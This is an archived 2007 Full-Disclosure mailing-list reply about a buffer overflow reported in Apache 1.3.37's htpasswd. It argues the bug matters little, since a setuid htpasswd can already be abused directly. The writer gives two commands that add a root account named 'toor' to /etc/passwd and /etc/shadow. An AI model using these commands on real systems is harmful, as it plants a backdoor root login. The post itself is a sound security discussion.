full-disclosure - Re: Apache 1.3.37 htpasswd buffer overflow vulnerability

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [<thread-prev] [month] [year] [list]

Date: Tue, 2 Jan 2007 15:45:45 -0800
From: Andrew Farmer <andfarm@...il.com>
To: "Matias Soler" <gnuler@...il.com>
Subject: Re: Apache 1.3.37 htpasswd buffer overflow
	vulnerability

On 02 Jan 07, at 12:20, Matias Soler wrote:
> Synopsis: Apache 1.3.37 htpasswd buffer overflow vulnerability
> Version: 1.3.37 (latest 1.3.xx)
>
> Product
> =======
> Apache htpasswd utility
>
> Issue
> =====
> A buffer overflow vilnerability has been found, it is dangerous  
> only on
> environment where the binary is suid root.

If htpasswd is setuid, then one could just as easily:

   htpasswd -bp /etc/passwd toor x:0:0:toor::/:/bin/sh
   htpasswd -bp /etc/shadow toor xxa8fjDF6WqBA:0:0:99999:7:::

and get root. (Or any number of things - sudoers, crontab, SSH keys -  
take your pick.)

It's possible that this buffer overflow may be significant in very  
limited circumstances - if the utility is executed from a web  
application, perhaps. However, this seems like a rather limited-scope  
issue.

-- Andrew Farmer

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/